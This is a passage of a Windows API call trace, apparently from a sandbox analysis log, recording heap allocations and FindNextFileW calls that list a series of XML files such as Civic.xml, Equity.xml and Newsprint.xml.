returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.667] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009288 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c298 [0068.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.668] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10092a8 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c3a0 [0068.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.668] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10092c8 [0068.668] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c4a8 [0068.668] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.668] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="")) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.669] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10092e8 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c5b0 [0068.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.718] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="")) returned 1 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009308 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c6b8 [0068.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.718] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009328 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c7c0 [0068.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.719] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="")) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009348 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c8c8 [0068.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.719] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009368 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102c9d0 [0068.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.719] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="")) returned 1 [0068.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009388 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102cad8 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2bc0) returned 0x1020c10 [0068.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x102dd60) returned 1 [0068.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.720] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="")) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10093a8 [0068.720] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102cbe0 [0068.720] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.720] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10093c8 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102cce8 [0068.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.721] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10093e8 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102cdf0 [0068.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.721] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="")) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.721] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.721] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009408 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102cef8 [0068.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.722] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009428 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d000 [0068.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.722] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="")) returned 1 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.722] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.722] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009448 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d108 [0068.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.723] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009468 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d210 [0068.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.723] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1009488 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d318 [0068.723] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.723] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0068.723] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10094a8 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d420 [0068.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.724] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10094c8 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d528 [0068.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.724] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="")) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.724] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x10094e8 [0068.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102d630 [0068.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.725] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, 